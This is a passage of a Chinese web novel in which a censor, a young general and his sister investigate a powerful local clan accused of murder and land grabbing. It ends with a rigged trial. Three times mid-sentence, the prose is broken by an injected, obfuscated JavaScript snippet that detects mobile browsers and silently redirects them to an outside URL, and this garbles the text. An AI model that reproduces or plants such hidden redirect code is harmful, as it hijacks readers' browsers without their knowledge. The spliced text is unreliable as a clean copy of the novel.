如今还牵涉到贪污灾银和侵占良田,地方豪强势力的壮大也一直是他头疼的问题,这李氏不过一个没落的前朝世族,竟也猖狂至此,想到这他唤赵让:“赵让,将她护送到刑部细细查问。” “是。”赵让领命。 “孤,会为你做主。”说完,景帝转身朝车撵走去。 任氏急忙磕头道谢。 …… 皇宫,御书房。 刚下朝回来,景帝疲惫非常,不是这里突发洪灾,就是那里爆发起义,棘手的事一件接着一件。 揉了揉太阳穴,他的视线落到刑部呈递的任氏的供词之上,想起还有一桩事有待解决,遂掀眼向前看去。 御案外侧站着两个人,一个是太子谢煜然,一个是御史大夫林文正。 他将目光移到林文正身上,启唇问道:“孤昨日从行宫回来途中发生之事,想必林卿都知晓了吧?” 林文正赶忙拱手施礼,答说:“臣听闻昨日有一民妇拦圣驾告御状。” 提起御状,景帝不禁又怒上心头,如今西景国库空虚,地方却中饱私囊。 昨日,结束了被拦截的插曲,他回到车撵中,可心却再无法平静下来,那妇人的话令他耿耿于怀。 是以,一回到宫中,他便命人将社郡的官员名单呈上来,看着拿到手的那份名单,他发现竟然半数以上都是李氏或者与其有亲缘关系的人。 一个没落的世族都能成为一方霸主,那朝中那些大权在握的世族呢?在他面前唯唯诺诺,焉知背着他时是不是无法无天。 目光转回到林文正身上,他的火气总算消失了一点,拿起手边的供词递出去道:“林卿看看吧。” 林文正急忙上前,他伸出双手躬身接过供词,再后退回到原来的位置,接着便翻开看起来。 只见民妇泣血陈述了恶霸奸杀其女的恶行,接着又控诉李氏仗权侵地贪污笼络之事。 地方豪族为壮大势力常通过各种手段占有农民的土地,虽然这民妇因认知有限证词散乱,但林文正可以看出,这李氏不仅依仗权势贱价强买土地,居然还利用水患故意治水不彻底,以牟取长期利益。 合上供词,他忙道:“长此以往,社郡耕地必将减少,耕地一减粮食便跟着减了,到时流民增加,恐酿成大祸,还请陛下尽早做决断。” 景帝冷哼一声道:“若非这妇人告到了御前,孤竟然不知一个已经没落了的前朝世族居然有如此大的能耐!” 平复了一下心情,他目光落到林文正身上,“林卿,孤今日特意留你,便是想让你来处理社郡的问题。” 被钦点,林文正恭顺接旨。 景帝又道:“兹事体大,你到了那里明查奸杀民女之案,暗访李氏侵地贪污之事,务必将两桩事都解决好。” “是。”林文正应声。 景帝这才满意地颔首。 这时,一直站在旁侧的谢煜然走出一步,“父皇,儿臣有话要说。” “讲。” “林御史身为文官,那地方若真被李氏掌控了,恐怕是个龙潭虎穴,稳妥起见还需派一员武将带一队人马从旁协助。” 景帝闻言思忖,这话确实有道理,他眼睛向下一扫,问太子道:“你可有推荐人选?” “阴安候黎长策。” 黎长策……景帝在心里默念着这个名字,他并不太想用黎家人,后来一想,这个身份刚刚好,况且前几日才责罚了他父亲,眼下也该适当施于恩惠,便同意了,“就他吧。” …… 书房,黎书意不时更换毛笔,蘸取各色颜料,在画稿上涂抹,因谢烜赫去了社郡,近期染色的任务便又交还到她手上了。 伏案良久,她将兼毫笔搁下,赏看了两眼,她满意地拍了一下手。 接着,她把先前画好的画稿通通拿了出来,然后再按照顺序排列好,从头审起,看内容是否浅显易懂,情节是否流畅生动。 正看着,兄长走了进来。 黎长策来至案边,见案上铺排开的画稿,惊叹道:“你连下一旬的都画好了!” 黎书意得意地冲他一笑,近来无事扰乱,进度自然快。 目光移到兄长脸上,见他满面春风,便问:“你今日心情不错,是遇上了什么好事?” “确有好事。”黎长策煞有介事地点头。 受不了他买关子,黎书意忙催道:“你快说啊。” “彻查社郡的人选已经定下来了。” 她听后一脸懵,这算何好事,刚想到这,她心念一转,眸光一闪,除非选派的人对他们有利。 这时,闻兄长道:“是林伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545684|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父。” 有时候,看皇帝对一件案子的态度,看他选派的官员既可,林伯父为人清正廉洁,从不徇私枉法,皇帝选派他说明看重这件事,下决心要查个水落石出,这确实是好消息。 心下正在庆幸,又听兄长云淡风轻地添一句:“我负责护卫工作。” “什么?!”仿佛平地一声雷,黎书意瞪大了眼睛,良久,她方找回神智,不确信地问道,“我没听错吧?” “你没听错。”黎长策很肯定地点头。 “怎会是你?”黎书意惊呼,这简直太令人意外了。 “太子举荐的。” 谢煜然举荐的,黎书意初闻时多少有些惊讶,后来仔细一想,便明白了其中原因。 虽然他们之间已经结束了,可是他与兄长依旧是很要好的朋友,况且他现今已经参与朝政,需要组建自己的势力,推荐兄长确实合理。 难得的是皇帝居然答应了,估计是为了安抚刚被责罚的父亲,当真是打一巴掌给一个甜枣吃。 正陷在自己的思绪里,忽听得兄长问:“要一起去吗?” “我吗?”黎书意诧异地抬眸,从前兄长外出时的确会带着她一道,大多时候她也乐于前往,可这次是去办差事的,她怕她会影响到他们。 “要去吗?”兄长望着她又问了一遍。 要去吗?她问自己。这十五年来,她走过的地方并不多,无论是孩提时期在执明,还是如今在孟章,多数时候她都被拘在深宅大院里,偶尔出去也就是在街市上转转,或是去另外一座大院里参宴。 去另一个州郡,这个提议实在令人心动,她想去看看谢烜赫口中真实的社郡是何模样。 况且,同为大计里的一份子,她不希望自己被摒除在外,她要去见证黑暗,然后用笔去揭露它。 “去。”她最终接受了邀请。 黎长策闻言笑了,他料定妹妹一定会答应。 “行,那你一会就收拾东西,明早随我一道去军营点兵,顺带同父亲告别。” 交代完,他未再多待,毕竟他还有许多事要准备。 看着兄长离开,黎书意将画稿收拢了放在牛皮纸袋里,然后拿着袋子往旁边小厅走去。 才出门,迎面碰上兰亭,她便把东西直接递过去,吩咐道:“让毕定边送去文心书局。” 毕定边是富春姑姑与父亲已逝的近侍毕燕的独子,现任府中侍卫长,是目前府中最可靠最得力的人之一,兄长远征安士时,《学崖》的书稿一直都是由他送的。 望着手里的东西,兰亭疑惑地问:“前两日不是才刚送去,为何——” 话还未说完,听见二姑娘道:“因为我要出趟远门。” 闻言,她睁大眼睛,愣愣问:“去哪?” “兄长奉皇命去社郡,我一同去。” 身为贴身侍女,兰亭自然是二姑娘去哪她便去哪,社郡,她此前只听说过,不禁有些向往。 又低头瞧了眼手上的纸袋,她忙道:“我这就去送。” 说毕,快步往院门口而去。 望着小丫头脚步生风的模样,黎书意忍不住摇头,都是困久了的人,一听见出远门,竟高兴成这样子。 收回视线,她转身进屋,明日便要走,今晚得先把东西给整理好,她吩咐院中的另外几位侍女替她打点行装。 这一去并非是去游山玩水的,衣服首饰没必要带太多,那里刚经历了洪灾,为防疫病,药物得备好。 还有,笔墨纸砚可酌量带上,路途遥远无聊,可继续创作,或写写见闻。 26. 查访 翌日清晨,打点好行装,黎书意和兰亭登上了马车,兄长骑着自己的爱驹逐影,在前边领路。 到了巨杨营,黎书意拉开车帘踏上马凳,下车站在营地入口处。 虽说前几日才来过,但今天这里的氛围显然更严肃正式,亮过令牌后,他们进入营地。 黎横天正在组织练兵,见儿女们来了,他唤身边的一名小卒道:“去把展元叫过来。” 说罢,径直朝一双儿女走去,然后将兄妹二人带进了自己的大帐,并吩咐沥泉在外把守。 进到帐中,确认四下无人,他面对二人而站,对儿子说道:“这次也算是因祸得福,你去更容易与谢烜赫好好配合。” 顿了顿,他突然话峰一转,殷切嘱咐起来:“虽说你有半年的作战经验,但这次是你一人亲自指挥,那地方已被恶霸控制,强龙压不过地头蛇,你万不可轻举妄动。” “儿子明白。”黎长策谦恭道。 黎横天欣慰地点头,接着朝女儿看过去,“你一向是个有主意有分寸的,既然你决定跟着去,我便不劝你,但是记住,顾好自己的安危。” “我知道。”黎书意做出保证。 最后,黎横天看着兄妹二人,郑重道:“这次,就交给你们三个了。” 话刚巧说完,帐外传来脚步声,下一刻听见沥泉中气十足的声音:“大将军,展校尉到了。” “进来吧。” 帐帘掀开,展元走了进来。 “展元,此次就由你随他们一起去社郡。”黎横天吩咐道。 “是!”展元拱手接令。 黎横天又向三人交代了一些具体事宜,最后大家一起出了大帐。 外面,几队小兵早已拉着缰绳站在战马旁边,他们躯干笔直、神情严肃,一副整装待发的飒爽模样。 黎长策与黎书意向黎横天做最后的道别,然后黎长策走向他的爱驹逐影,黎书意也登上马车,那一千名骑兵也纷纷踏上马背。 在黎长策洪亮的一声“起程”之后,大部队离开军营。 马蹄阵阵,车轮滚滚,黎书意坐在马车里,耳边的两种声音时刻提醒着她正在去社郡的路上,明明才刚上路,她的心却已经激荡开了,脑袋里忍不住想即将发生之事。 大约行了半个时辰,马车行驶渐缓,她知道应是快到城门口了,兄长与林伯父约好了,于今早巳时在此处碰头。 待车停稳,她从车上下来,作为小辈,她怎么也得下去问候林伯父一声。 下了车,她往对面看去,不料竟在林伯父身边看到了林静仪,她不免惊喜。 回过神,她急忙随兄长走过去,到了跟前,福身一礼轻唤道:“见过林伯父。” 问候完了,她转头看着林静仪,欣喜地说:“你怎的也去?” 林静仪含笑回答:“父亲说带我出去外面走走,散散心。” “真是太好了,”黎书意闻言展颜笑开,“这样咱们就不孤单了。” 聚首之后便该上路了,两姐妹自然共乘同一辆马车,连着侍女兰亭和玉绿统共四人,倒也有话说。 富春姑姑贴心,在马车里安置了足够厚的软垫,尽管道路颠簸,里面却十分舒适。 那告御状的任氏此次随林伯父的人马一道归乡,中途休息时,黎书意与林静仪邀这位中年妇人同坐,听她诉说女儿之事,大家听后无不落泪。 剩下几日,她们偶尔看话本,偶尔玩叶子牌,偶尔对诗,倒也不算无聊。 如此赶了八天路,路过一块界碑,他们终于进入社郡地界。 刚开始,路两旁的景物与先前经过的那些地方并无太大的差别,可后面就慢慢变得不同了,这处山体坍塌,道路阻断,那处路面积水,泥浆没脚。 前行途中,黎书意偶尔拉开帘子看一看,每看一次都会被眼前的景象惊到,可想而知,这次的水患有多严重。 用了一日,队伍终于走过了荒僻的山林,抵达城镇。 因是带着目的来的,所以对于周边的一切,黎书意并非随意地一瞥,而是用审视的眼光细细地看,她的双目依次扫过路边的每一座房舍,和道路上的百姓们。 损坏的屋宇,泥泞的道路,忙碌的民众,显然这地方先前被洪水大肆摧残过。 可出乎意料的是,这里没有她以为的哀鸿遍野,反而呈现出一种井然有序之感,这边府兵们在组织修建工作,那边富商们在棚屋下边发粮施粥,可谓是军民一家亲。 如果谢烜赫不曾在信中提过这边的情况,她定然不会生出其他想法,只以为自己所看到的便是真实,可是她知道,所以她便立刻明白过来,眼前呈现出的是别人想让他们看到的。 在官道右侧,站了几十号身穿官服的人,他们神色肃然,最前面的那位中年男子约莫四十岁上下,着一身青色袍服,长得油头粉面,体态臃肿,想来应该就是社郡的郡守李振益了。 驿馆门前,社郡众官吏已经等候多时,见仪仗徐徐而来,为首的李振益赶紧整理衣冠,露出笑容。 待队伍在驿馆门口缓缓停下,他急忙上前两步,走到刚从车上下来的林文正跟前,率领下属官吏们躬身行礼,声音洪亮道:“下官社郡郡守李振益,携本地官吏,恭迎林大人驾临。” 林文正微微颔首,亲和地说道:“诸位大人不必客气。” 此时,黎书意、林静仪各在兰亭和玉绿的搀扶下从马车上下来。 下了地,黎书意抬头朝前看,见李振益正在问候林伯父与她兄长,模样甚是谦卑恭敬,她与林静仪一道向前走。 这边厢,李振益刚问候完黎少将军,瞥见两位二八年华的小娘子走了过来,他虽不清楚身份,但笑容不减,疑惑问道:“这两位是?” “这是小女。”林文正摆手指了一下林静仪。 黎长策偏头转向黎书意道:“舍妹。” “原来是林姑娘和黎姑娘。”李振益恍然笑道,接着他手一摆,指向驿馆,“林大人与黎少将军一路舟车劳顿,驿馆下官已经命人打点好了,若是各位住得不习惯,郡守府还有诸多空房。” “这里就好。”林文正谢绝了他委婉的邀请。 说着,一行人往驿馆里走。 跨过大门,宽敞的庭院映入眼帘,两侧耸立着几棵参天古树,正对面的房舍高大宽敞,雕梁画栋,只最外围处的几间屋子有修补过的痕迹,在驿馆伙计的殷切招呼下,他们各自进屋安置。 黎书意已经很久没有这般远行过,一天中大半时候都在路上,尽管马车布置得很舒适,可总少不了颠簸,眼下她早就疲惫不堪了。 于是,下榻之后,她第一件事便是沐浴,沐浴结束,她靠在榻上休息,馆中伙计敲门问说是否要呈上晚膳,她点头,然后让兰亭去叫林静仪过来。 今夜,为迎接林伯父和兄长,李振益在驿馆前厅设宴,令社郡大小官员作陪,这等场合她们是无法出席的。 不一会,林静仪来了,菜紧跟着摆上来,有糖醋鲤鱼、烤鸭、羊肉等,形色典雅,鲜香清淡,只黎书意连日奔波本就食欲不佳,所以吃得不多。 吃毕晚饭,两人略闲聊了几句,然后林静仪起身离开,黎书意则继续懒懒坐着,车马劳顿许久,才亥时瞌睡虫便来找她,她沐浴完便上床睡觉了。 …… 清晨,天空泛起鱼肚白,沉睡的驿馆苏醒过来,馆中的住客也相继起身。 卯时,待梳洗妥当后,黎书意离开了客房,刚将门合上,碰见林静仪正巧走出房间,两人相视而笑,接着便并道而行了。 前厅,林文正和黎长策早已起身,他们正坐在桌边闲聊,等两位姑娘坐下,驿馆伙计紧跟着呈上食物,四人便开始用早膳。 桌上氛围祥和平静,筷子与碗碟轻轻碰撞着,菜肴清甜鲜美,有着社郡独特的风味。 吃了一会,林文正开口道:“我一会去县衙,先看看当时诉讼的卷宗。” 告知完自己的打算,他侧头看向黎长策,“长策,你带一队人马去街上帮忙,尽量从百姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545685|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口中多了解些情况。” “是。”黎长策点头应下。 于是,用过早膳,林文正与黎长策便分头行动了。 晨光柔和地洒落在大地上,给大街小巷披上了一层金色的薄纱,街边,府兵们与百姓们依旧在为重建城镇忙碌着,入目皆是安乐祥和的景象。 林文正在李振益和县令鲁清等社郡大小官吏的陪同下,缓缓步入县衙,穿过庄严的大门,走过幽静的庭院,一行人来到二堂花厅。 进入厅内,林文正立于堂中,从亲随身边接过圣旨,他双手捧着明黄色绢帛,将其高举过头顶,扬声道:“圣旨到,社郡众官吏请接旨。” 李振益和鲁清等一众社郡官吏闻声立时跪倒在地。 将圣旨展开,林文正朗声念起来:“奉天承运,皇帝诏日:日前,有民妇赴孟章拦驾告御状,哭诉其女惨遭恶霸奸杀,并言自己从县至郡一路申冤,竟皆求告无门,吾西景素来以法治为本,断不能容地方官员徇私枉法,今特命御史大夫林文正彻查此事,其奉命所至之处,犹如朕亲临躬问。钦此。” 圣旨宣读完毕,林文正目光威严地扫过在场众人,旋即把圣旨重新递还给亲随,厅中的官吏们紧接着起身,他们战战兢兢地分列两旁。 伸手一撩衣袍,林文正在厅中主位上落座,一名小吏下一刻便恭敬地奉上茶水。 抬起茶盏轻抿一口茶,林文正先询问了几句灾后重建的情况,然后才进入正题,说起任氏告御状之事。 鲁清从县丞手上拿过案卷卷宗,上前两步双手呈上,他微躬着身子诚惶诚恐道:“大人,下官当时确实是秉公办理的,绝无半点徇私枉法。” 林文正未加理会,他直接接过卷宗,从首页翻看起来,任氏是黍县石舟村人,那里距离郡城颇有一段路程,他在想是否该派遣几个人去那边探查一下。 “大人,下官已将案件相关的人员从黍县带回,以方便大人随时提审。”念头才刚起,闻李振益开口道。 林文正听后在心中冷笑,这举动看似贴心,实则不仅避免了他们探查到案件相关信息的可能性,还阻断了他们接触到真实社郡的机会。 因上吊和被掐死一般不会在骨骼上留下典型的痕迹,又已经过去了半载,尸身早已腐烂,从上面寻找证据没什么意义,没有开棺验尸的必要。 同样的原因,现在要在现场找寻痕迹更是不可能的,因此除了查阅卷宗,他只能通过询问案件相关证人,后续再查证分析。 如此想着,去石舟村能调查到的情况确实有限,于是问:“除了任氏的丈夫和女儿,可有带回他们的同村的村民?” “回大人,”李振益拱手报说,“那任氏一家住得偏僻,近旁无住户,由于同村村民正为修补房屋忙碌,故下臣未让人带来。” 林文正扫了一眼卷宗,上面也写着受害者一家无近邻,是与否一问任氏便可知的事,应该没必要作假,他想着若审讯后仍没能解决问题,到时亦可再传唤石舟村人或是暗访,于是没有再多说什么。 随着卷宗一页页往后翻阅,他的眉头渐渐蹙起,他发现卷宗所记录的情况与任氏的供词简直天南地北,他抿唇沉思,想着该从哪里入手调查此案。 半晌,他合上卷宗站起身来,扫向面前态度谦卑的众位官吏们,看似询问,实则通知般说道:“此案乃是告的御状,陛下让本官务必查个水落石出,为确保案件审理能够基于事实和西景国法进行,即日起,本官的随行卫队将接管衙门的相关事宜,几位可有异议?” 李振益和鲁清闻言,不约而同地神色一凛。 待回过神来,李振益一脸诚恳地说:“这案件毕竟与下官的侄儿有关,卑职是该避嫌。” 鲁清也连忙附和:“此案陛下钦点大人审查,自然一切都由您说了算。” 花厅里虽站满了人,却再没有发出丁点声音,古怪的氛围在沉默中流动。 林文正视若无睹,他微微颔首,旋即起身道:“先这样吧,明早开堂审理。” 27. 会面 驿馆的小厅里,断断续续有女子们的谈笑声传出。 作为随行亲眷,黎书意和林静仪原是没事的,然而两人并没能闲着,就在林文正和黎长策相继离开没多大会,便有人前来拜访,来的是李振益的夫人和女儿。 官家内眷的交往黎书意从小看到大,也经历到大,如今早就习惯了,虽然没半点结交郡守妻女的心思,但是想着可以透过她们了解郡中的情况,于是她和林静仪便接受了。 抱着这样的想法,整个上午她们一直坐在小厅里聊天谈心,黎书意本渴望获得些关于洪灾或是田地的情报,奈何这对母女显然被提前叮嘱过了,她和林静仪三番四次提及,皆被她们三言两语给略过了。 见这条路行不通,黎书意只能另想办法,一起用了午膳,又在驿馆小坐了一会,她提议说想去外边逛逛。 林静仪立刻会意,附和说也想去外面看看。 “刚经历了洪灾,外面没什么好逛的。”郡守夫人劝她们。 黎书意却兴致不减,她故意摆出一副不食人间烟火的世家大小姐模样,任性地说:“我跋山涉水来这,可不想败兴而归,即便经历了洪灾,也总有没被波及的地方吧?” 见僵持不下,郡守夫人最终带着她们出门了,她们去了云梦池,郡守夫人介绍说是前朝遗迹。 这里风景的确不错,堤岸屈曲,水域广袤,波光粼粼,池中洲岛星罗棋布,只是岛上的殿亭台阁遭到洪水袭击,毁损大半。 一路上,黎书意逛得极为认真,走到某条街,她发现一条窄巷,在好奇心的驱使下,她往那边走去,才刚到巷口,一柄剑冷不防地横在面前,只听见府兵强硬地说:“这里不可通行。” 郡守夫人急忙走上前来,向她赔笑道:“黎二姑娘莫见怪,那条路被石头和淤泥堵住了,眼下还未清理干净,怕脏了您的脚。” 黎书意不相信这番说辞,她若有所思地看向深巷尽头,直觉告诉她那里面才能看见未被粉饰的社郡的真实面貌。 只是,眼下形势未明,不好与这些人起冲突,便只能作罢,遂道了一句“原来如此”,然后转身另外择道而行。 又逛了一会,她借口累了,说想回驿馆,于是便告别母女二人,与林静仪上了马车。 坐在车上,两人交流起来,林静仪愁眉倒锁地看着她道:“这案子不好查。” “唉……”黎书意叹气,是不好查,否则也用不着派林伯父了。 她心下十分沮丧,浪费时间陪了大半天,竟然什么有用的信息都未得到。 回到驿馆,两人恰在中庭碰见从衙门回来的林伯父。 林静仪见了他,忙问道:“父亲看卷宗的情况如何?” 抬手捋了捋胡须,林文正告知道:“与任氏的供词相悖,卷宗显示她女儿闵晗是因为被李缨拒婚,绝望之下自缢身亡的。” “什么!”黎书意和林静仪齐声惊呼道。 “先别慌,”林文正安慰两位愁眉苦脸的女孩,“这份卷宗不一定是真实的,说不定是为了应对审查所伪造的,一切都等明日堂审询问过情况后再说。” 黎书意心头笼罩的愁雾并未因为这段话而打消,她原以为借着揭露李振益的恶行揪出幕后黑手不容易,现在看来这表面上的案子也颇为棘手。 正想着,耳边传来军士的问候声,一侧头,看见兄长回来了。 黎书意忙问:“兄长,你那边情况如何?” 黎长策丧气地摇摇头,说:“我和绿沉在帮忙途中向百姓了解情况,得到的回答无一例外全是赞美官府的。” 林文正闻言若有所思,目光悠远,声音飘渺道:“看来我们身在他们所营造的幻像之中。” 尽管预料到此行会很艰难,但第一天就遭受到这样的打击未免让人气馁,黎书意在心里叹气。 时已黄昏,互相交流了情况,大家移步至正厅,不多会饭菜摆上桌,菜色十分丰盛,只气氛有些沉闷,每个人脸上都挂着心事。 因愁思太多,黎书意这顿饭吃得索然无味,用饭毕,她与林静仪同道而回。 走到半途她停下脚步,到底打算去看看牵挂着的任氏,话还未说出口,闻林静仪先道:“我想去看看任氏。” 她笑了,她俩还真是心有灵犀,于是两人便折道往任氏房间走去。 走至门口,她抬手敲门。 “来了。”里面传出低而干哑的声音。 紧接着,门打开了,露出任氏的脸,她眼圈红红的,显然刚才正在哭,估计堂审在即,想到了自己过世的女儿。 见是她们,她换上笑容,招呼道:“两位姑娘快请进。” 说着,引她们在桌边坐下,然后又为她们各自倒了一杯茶。 因是听林伯父讲起了卷宗,所以两人才想着过来这边瞧一瞧,结果一来便看见任氏的哭容,眼下她们不知道该说什么,生怕徒惹她伤心,房内一时间安静下来。 默了片刻,任氏先开口了:“黎姑娘、林姑娘,你们说明日的堂审能顺利吗?” 闻言,黎书意与林静仪对视一眼,两个人都没有立刻给出答案,贫难与富斗,富难与官斗,可这李氏既是富又是官,况且又时过半载,证据都剩不下什么了,怎么可能会顺利呢。 然而看着任氏乞求的眼神,她哪里说得出这残忍的事实,便回道:“一定可以的。” 任氏是谢烜赫挑选的人,可以证明她女儿的遭遇绝对真实,林伯父刚正不阿,尽管过程会很艰难,但是他一定会为这对苦命的母女主持公道的。这样想着,她坚定起来。 听了她的话,任氏果然笑了。 之后,任氏与她们闲话家常,说起社郡哪里有好吃的,哪里有好玩的,聊着聊着,脸上流露出真实的笑容。 在她房间小叙了一刻钟,黎书意和林静仪离开,最后她们各自归房了。 回到房中,待了没多大会儿,黎书意又坐立难安了。 他们昨日便到了,因为一路舟车劳顿,今早又一心扑在案子上,谢烜赫就被她抛之脑后了,现下心思得到片刻空闲,于是便想到了他。 他应当知道他们已经来了,也不清楚他与兄长可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545686|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取得了联系? 心头一时记挂无比,到底打算去问问兄长,这么想着,她从榻上起身,吩咐兰亭不用急着备水,说毕便开门出去了。 来至兄长房门口,她见房里灯火通明,绿沉正挺拔如松地立在门外,便试探着问:“兄长在干嘛?” 话音方落,从房里传出兄长的声音:“进来吧。” 闻言,她推门而入,站在门口往内扫去,见兄长正坐在桌前。 将门合上,她待要问话,忽见一人从里间走出来,看着徐徐走近的谢烜赫,她愣了一下。 或许是为了不显眼,现下他换回了景朝人装扮,那头棕色长发用绸带高高束起,身上穿一袭黑色绣仙鹤云纹窄袖劲装,腰间系一条黑色宽腰带,脚上蹬一双黑色长靴。 此时的他整个人显得沉稳干练,仿佛仗剑走天涯的游侠,黎书意忽然有种记忆里的那个少年回来了的感觉。 “找我何事?” 正看着,闻兄长说话,她转过头,本来是有事的,然而如今人都在她眼前了,哪里还需要再问,遂摇头说:“无事了。” 想来方才这两人应该正在谈正事,黎书意脑海里蓦地浮现出任氏的脸,还有她问的话,于是她又向谢烜赫看过去。 这人调查了半年,对李振益、李缨,以及整个李氏都很了解,应该能推断出他们的行为方式,故而问道:“你觉得这案子可好破?” “明日堂审时你便会知道。” 好吧,看他卖关子她也不再坚持,左右一个晚上而已。 见时候已经不早了,想见的人也已经见到了,黎书意便没有再久待,向兄长道了一句“早些休息”,然后她便离开了。 …… 晨曦初露,阳光倾泻而下,县衙笼罩在一层柔和的金色光辉之中。 眼下大堂里还空寂无人,高大的梁柱,整洁的公案,平滑的地面,堂中透着肃穆威严的气息。 大堂外侧,早已聚集了一大群围观群众,他们翘首以盼,交头接耳,低声议论着即将开始的审讯,嘈杂声打破了清晨的宁静。 黎书意与林静仪站在围观群众之间,同其他人一样,她们心中充满了期待与好奇。 其一,两人从未观看过堂审,而这起案子又将由她们的亲人审理,其二,两人这一路听了任氏的诉说,心生同情,所以格外关心。 “威——武——” 百无聊赖地候了一刻钟,伴随着衙役们的齐声高呼,黎书意看着身穿官袍的林伯父和身着武服的兄长步入公堂,前者在公案上坐好,后者在旁侧侍立。 片刻后,郡守李振益和县令鲁清掐着时辰走进公堂,然后在堂侧前排站定,两人神色各异,李振益看起来面容沉静,鲁清则略显紧张。 紧接着,有两人被衙役带了上来,除了黎书意熟悉的任氏以外,另一个年轻男人长着一张粉红圆脸,身穿锦袍,身形富态,应当就是李缨了,他脸上带着几分不可一世。 “啪!”的一声,林伯父拿起惊堂木,重重一拍,浑厚的声音响彻整个大堂,四下顿时安静了。 28. 作伪 公堂之上,气氛庄重紧张,公案之后,林文正面容端肃,他眼神犀利地向堂下看去,问姿态轻慢的年轻男人:“你便是李缨?” “回大人,正是。”李缨从容应声。 “你可知任氏上京告御状,说你欺辱她的女儿,并且先奸后杀,这罪你认是不认?” “回大人,小的不认。”李缨矢口否认,说着他斜了一眼跪在旁边的中年妇人,“分明是她栽赃嫁祸。” “哦?”林文正挑眉,“到底怎么回事?” 李缨解释:“是她的女儿傍上了我,我看她可怜才决定纳她为妾的,原本好事将成,却被她家漫天要价,我气不过,便决定就此作罢,晗娘却非我不嫁,最后选择自杀了。” “他撒谎!”任氏情绪激动地反驳,“分明是他去田庄收租时对我女儿见色起意,三番四次冒犯,后来趁我和老头子外出劳作时玷污了她,我女儿在反抗途中被他掐死了。” 闻言,林文正将目光从任氏身上转回到李缨身上,“李氏,你说你没做过,你可有证据自证清白?” 李缨答话:“回大人,当日我确实去找过晗娘,与她说了我与她的婚事已经作罢,劝她看开些,不过我只在那待了盏茶的工夫便出来了,因她家中无人,出来时也未曾撞见过什么邻居,是以没有人能为小人作证。” 顿了顿,他指着任氏控诉起来:“大人,晗娘的死真的与我无关,反倒是他家,在晗娘身故之后还讹了我一笔钱财。” “多少?”林文正问。 “五千两。” “你给了?” “是。”李缨点头,脸上流露出黯然神伤的表情,“毕竟晗娘的死我的确有责任。” “胡说!”任氏怒视着李缨,大声争辩道,“从来就没有什么五千两银子,只给过五百两,那是他侮辱人给的下葬费,民妇根本没要。” 林文正抿唇沉思片刻,接着他问堂中垂泪的中年妇女:“任氏,你说李缨奸杀了你的女儿,可有人证?” “有。”任氏急忙点头,“我的小女儿当时提前回家准备晚饭,看到了李缨从晗娘房间里出来,且她进房之后发现姐姐躺在床上衣裳不整,脖子上还有掐痕,人已经断气了。” 林文正拍惊堂木道:“传任氏之女。” 不一会,一个年纪在十二三岁之间的小女孩怯生生地走进公堂,她低垂着头,瘦弱的身躯轻轻颤抖着,最后在两人中间跪下了。 林文正望着小女孩,温和而又严肃地询问:“告诉本官,你可曾看见李缨从你姐姐房里出来?” 任氏满含期待地看着自己的女儿,李缨则气定神闲地看着小女孩。 只见小女孩抬起头,她目不斜视,并不看自己的母亲,犹豫了片刻后,轻轻摇头否认了。 任氏见状瞳孔张大,不可置信地望着自己的女儿,失声道:“你在干什么,不是你说的你看见他从你姐姐房里出来,你进去时姐姐已经断气了吗?” 小女孩置若罔闻,垂着脑袋不说话。 “她可是你姐姐啊。”任氏歇斯底里地大喊道。 “这妇人也真是的,为了点银子葬送自己女儿的性命,现在竟然还攀咬无辜。” “是啊,难怪连她的小女儿都不肯认。” …… 公堂外围,嘈杂声四起,围观审讯的人议论纷纷。 公案背后,林文正眉头轻蹙,沉默片刻,他拿起惊堂木,重重一拍,沉声道:“肃静!” 待堂中归于寂静,他正色道:“此案目前尚有诸多不明之处,今日暂且退堂,容后再审。” 言罢,他站起身。 审讯已散,堂外复又喧闹开,黎书意置身其中,听着周边的人颠倒黑白的议论,不由怒上心头。 尤其当她看到李缨的轻松得意,任氏小女儿的回避,以及任氏的痛哭流涕,她几乎忍不住想冲进去好好理论一番。 然而,她不能这么做,攥紧了拳头,她努力压抑着心中的怒气,沉默地看着任氏被带走,看着人群逐渐散去,直到林静仪叫她。 “婠婠,我们去看看任氏吧。” 她闻言回神,侧头一看,发现向来温柔娴雅的林静仪此刻脸上亦是没了笑容,神情十分严肃,大约和自己一样,也被这荒唐的堂审给气到了。 “好。”黎书意点头。 公堂上首,林文正起身离开大案,黎长策跟随在侧,他们一个久经人事,一个早被谢烜赫告知了大概情况,两人都相对冷静。 黎书意向兄长和林伯父走去,告知两人想看看任氏的状况以后,紧接着便和林静仪去二堂偏厅寻找任氏了。 任氏是告御状的人,在案件尚未断定之前,没有人敢对她如何,所以目前她还很安全。 